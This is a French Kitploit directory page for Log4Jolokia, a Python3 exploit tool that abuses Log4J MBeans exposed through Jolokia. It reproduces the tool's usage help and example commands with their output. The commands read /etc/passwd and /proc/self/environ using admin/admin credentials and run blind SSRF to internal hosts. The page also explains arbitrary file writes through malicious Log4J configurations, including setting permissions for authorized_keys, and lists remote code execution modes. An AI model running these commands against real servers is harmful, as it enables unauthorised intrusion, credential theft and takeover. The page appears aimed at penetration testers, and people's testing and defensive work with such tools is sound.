Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4Jolokia — Implémentation Python3 pour exploiter Log4J via Jolokia | Kitploit
Outils/GitHubGitHub/mbadanoiu/log4jolokia
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubmbadanoiu/log4jolokia

Log4Jolokia

Implémentation Python3 pour exploiter Log4J via Jolokia

Voir le dépôt
47il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Log4Jolokia

Description :

Implémentation Python3 pour tirer parti et exploiter les MBeans Log4J via Jolokia

Utilisation :

Aide générique :

usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]

positional arguments:
  {exec_jar,write_file,read_file,exec_script}
                        choose mode: exec_jar | write_file | read_file | exec_script
  target                URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)

options:
  -h, --help            show this help message and exit
  -u [USER], --user [USER]
                        Jolokia username
  -p [PASSWD], --passwd [PASSWD]
                        Jolokia password
  --proxy [PROXY]       Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
  -H [HEADER], --header [HEADER]
                        Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
                        	-H "Referrer: http://localhost")

Remarque : Selon le mode que vous sélectionnez, l'aide différera dans certaines sections.

Le programme dispose des 4 modes d'exploitation suivants :

  • Lecture de fichiers + SSRF
  • Écriture de fichiers
  • RCE via le téléversement et l'exécution de fichiers JAR
  • RCE via les scripts

Lecture de fichiers :

En modifiant l'attribut « ConfigLocationUri » de Log4J et en lisant le nouveau contenu de « ConfigText » (à l'aide de la fonction « getConfigText(String) » ou en effectuant une action « read » de Jolokia sur l'attribut « ConfigText ») via l'API Jolokia, un attaquant peut lire des fichiers arbitraires.

Remarque : Dans ce cas, nous utiliserons le vecteur de lecture « getConfigText(String) » car il permet de récupérer une représentation exacte en octets de la sortie des fichiers en encodage « latin-1 ».

Remarque 2 : Ce vecteur peut également être utilisé pour accéder à des serveurs autrement inaccessibles/internes :

  • lire des fichiers distants depuis un serveur FTP
  • lire des fichiers distants depuis un serveur SMB (cibles Windows)
  • effectuer des SSRF aveugles basées sur des requêtes GET (sans sortie)

Aide - Paramètres spécifiques à la lecture de fichiers :

$ python3 log4jolokia.py read_file http://a -h

  ***TRUNCATED***

  -r [READ], --read [READ]
                        Absolute or relative path of a file to read on target (Use only with mode: read_file)

Example commands:
	- Absolute Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
	- Relative Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
	- Specific Protocol:
		-- FTP:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
		-- SMB (Windows only):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
		-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'

Exemple - Lecture de « /etc/passwd » :

$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd" 
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***

Exemple - Lecture de « /proc/self/environ » (le contenu contient des caractères non imprimables (p. ex. des octets nuls), la sortie sera donc encodée en base64) :

$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ" 
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":

TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUZfRkkuVVRGLTgAU0h***TRUNCATED***

Écriture de fichiers :

En créant et chargeant une configuration Log4J malveillante, nous pouvons exploiter les valeurs des paramètres « RollingFile -> fileName » (où écrire) et « Pattern » (quoi écrire) afin d'écrire du contenu arbitraire à des emplacements arbitraires. Dans ce cas, nous créons des configurations Log4J malveillantes au format XML et exploitons la fonction « setConfigText(String, String) ».

Remarque : Pour écrire des fichiers binaires complexes, étant donné que le format XML possède des caractères de contrôle restreints spécifiques, d'autres formats de configuration pris en charge (p. ex. Properties) ont été utilisés dans un processus d'écriture en 2 étapes.

Aide - Paramètres spécifiques à l'écriture de fichiers :

$ python3 log4jolokia.py write_file http://a -h

  ***TRUNCATED***

  -lf [LOCAL_FILE], --local_file [LOCAL_FILE]
                        Path to local file to be written on the target (Use only with mode: write_file)
  -w [WRITE], --write [WRITE]
                        Path of file to be written on the target (Use only with mode: write_file)
  -P [PERM], --perm [PERM]
                        Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
Télécharger l’outil